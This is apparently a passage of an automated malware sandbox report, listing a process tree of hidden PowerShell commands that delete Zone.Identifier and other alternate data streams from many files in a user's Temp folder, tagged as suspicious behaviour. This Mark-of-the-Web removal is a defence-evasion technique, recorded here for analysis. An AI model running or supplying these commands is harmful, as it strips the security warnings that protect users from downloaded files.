  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\DefaultApps.xml'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\DefaultAppsNew.xml:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\DefaultAppsNew.xml'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\JavaDeployReg.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\JavaDeployReg.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Low:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Low'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft .NET Framework 4.7.2 Setup_20260709_142634074.html:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft .NET Framework 4.7.2 Setup_20260709_142634074.html'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260709142713.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260709142713.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260709142713_000_dotnet_runtime_6.0.27_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260709142713_000_dotnet_runtime_6.0.27_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260709142713_001_dotnet_hostfxr_6.0.27_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260709142713_001_dotnet_hostfxr_6.0.27_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260709142713_002_dotnet_host_6.0.27_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260709142713_002_dotnet_host_6.0.27_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260709142713_003_windowsdesktop_runtime_6.0.27_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260709142713_003_windowsdesktop_runtime_6.0.27_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260709142753.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260709142753.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260709142753_000_dotnet_runtime_7.0.16_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260709142753_000_dotnet_runtime_7.0.16_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260709142753_001_dotnet_hostfxr_7.0.16_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260709142753_001_dotnet_hostfxr_7.0.16_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260709142753_002_dotnet_host_7.0.16_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260709142753_002_dotnet_host_7.0.16_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260709142753_003_windowsdesktop_runtime_7.0.16_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_7.0.16_(x64)_20260709142753_003_windowsdesktop_runtime_7.0.16_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260709142845.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260709142845.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260709142845_000_dotnet_runtime_8.0.15_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260709142845_000_dotnet_runtime_8.0.15_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260709142845_001_dotnet_hostfxr_8.0.15_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260709142845_001_dotnet_hostfxr_8.0.15_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  PID:3916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260709142845_002_dotnet_host_8.0.15_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260709142845_002_dotnet_host_8.0.15_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260709142845_003_windowsdesktop_runtime_8.0.15_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_8.0.15_(x64)_20260709142845_003_windowsdesktop_runtime_8.0.15_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\OAGGWFQT-20260709-1434.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:3648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\OAGGWFQT-20260709-1434.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  PID:5624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\OAGGWFQT-20260709-1434a.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:1200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\OAGGWFQT-20260709-1434a.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  PID:460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\OneNote:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:4268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\OneNote'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Outlook Logging:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:5972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Outlook Logging'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\VBE:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:3696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\VBE'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  PID:2788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\a7ef3e3b-bf59-4f1e-9194-3c45a6f5a1b9.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:4904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\a7ef3e3b-bf59-4f1e-9194-3c45a6f5a1b9.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\acrocef_low:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:5060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\acrocef_low'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  PID:1740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\aria-debug-1376.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:1120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\aria-debug-1376.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\aria-debug-3164.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:5812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\aria-debug-3164.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4248
- - C:\Windows\System32\Conhost.exe
